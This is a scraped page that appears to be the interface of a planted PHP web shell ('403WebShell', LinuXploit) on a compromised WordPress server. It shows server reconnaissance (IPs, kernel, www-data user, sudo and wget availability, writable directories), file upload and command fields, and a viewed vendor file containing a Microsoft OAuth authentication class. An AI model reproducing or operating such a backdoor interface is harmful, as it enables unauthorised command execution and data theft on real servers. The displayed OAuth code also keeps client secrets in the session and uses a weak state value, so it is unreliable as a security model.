Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/vendor/adnanhussainturki/microsoft-api-php/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/vendor/adnanhussainturki/microsoft-api-php/src/Auth.php
<?php


namespace myPHPnotes\Microsoft;

use myPHPnotes\Microsoft\Handlers\Session;


class Auth  {
    protected $host = "https://login.microsoftonline.com/";
    protected $resource = "https://graph.microsoft.com/";
    protected $tenant_id;
    protected $client_id;
    protected $client_secret;
    protected $redirect_uri;
    protected $scopes;
    protected $guzzle;
    protected $refreshToken;
    public function __construct(string $tenant_id, string $client_id, string $client_secret, string $redirect_uri, array $scopes = [])
    {
        $this->tenant_id = $tenant_id;
        $this->client_id = $client_id;
        $this->client_secret = $client_secret;
        $this->redirect_uri = $redirect_uri;
        $this->scopes = $scopes;
        Session::set("host", $this->host);
        Session::set("resource", $this->resource);
        Session::set("tenant_id", $tenant_id);
        Session::set("client_id", $client_id);
        Session::set("client_secret", $client_secret);
        Session::set("redirect_uri", $redirect_uri);
        Session::set("scopes", $scopes);
        if (!isset($_SESSION['state'])) {
            Session::set("state", random_int(1, 200000));
        }
        $this->guzzle = new \GuzzleHttp\Client();
    }
    public function setRefreshToken(string $refreshToken) 
    {
        $this->refreshToken = $refreshToken;
        Session::set("refreshToken", $this->refreshToken);
        return Session::get("refreshToken");
    }
    public function getAccessTokenUsingRefreshToken(string $refreshToken = null)
    {
        if ($refreshToken) {
            $this->setRefreshToken($refreshToken);
        }
        $url = $this->host. $this->tenant_id ."/oauth2/v2.0/token";
        $tokens = $this->guzzle->post($url, [
            'form_params' => [
                'client_id' => Session::get("client_id"),
                'client_secret' => Session::get("client_secret"),
                'grant_type' => 'refresh_token',
                'refresh_token' => Session::get("refreshToken")
            ],
        ])->getBody()->getContents();
        return json_decode($tokens)->access_token;
    }
    public function setAccessToken(string $accessToken = null)
    {
        if (!$accessToken) {
            $this->accessToken = $this->getAccessTokenUsingRefreshToken();
        } else {
            $this->accessToken = trim($accessToken);
        }
        Session::set("accessToken", $this->accessToken);
        return Session::get("accessToken");
    }
    public function getAuthUrl()
    {
        $parameters = [
            'client_id' => $this->client_id,
            'response_type' => 'code',
            'redirect_uri' => $this->redirect_uri,
            'response_mode' => 'query',
            'scope' => implode(' ', $this->scopes),
            'state' => Session::get("state")
        ];
        return $this->host . $this->tenant_id . "/oauth2/v2.0/authorize?". http_build_query($parameters);
    }
    public function getToken(string $code, string $state = null)
    {
        if (!is_null($state)) {
            if (Session::get("state") != $state) {
                throw new \Exception("State parameter does not match - \"" . Session::get("state") . '" and "' . $state . '"', 1);
                return false;
            }
        }
        $url = $this->host. $this->tenant_id ."/oauth2/v2.0/token";
        $tokens = $this->guzzle->post($url, [
            'form_params' => [
                'client_id' => $this->client_id,
                'client_secret' => $this->client_secret,
                'redirect_uri' => $this->redirect_uri,
                'scope' => implode(' ', $this->scopes),
                'grant_type' => 'authorization_code',
                'code' => $code
            ],
        ])->getBody()->getContents();
        return json_decode($tokens);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit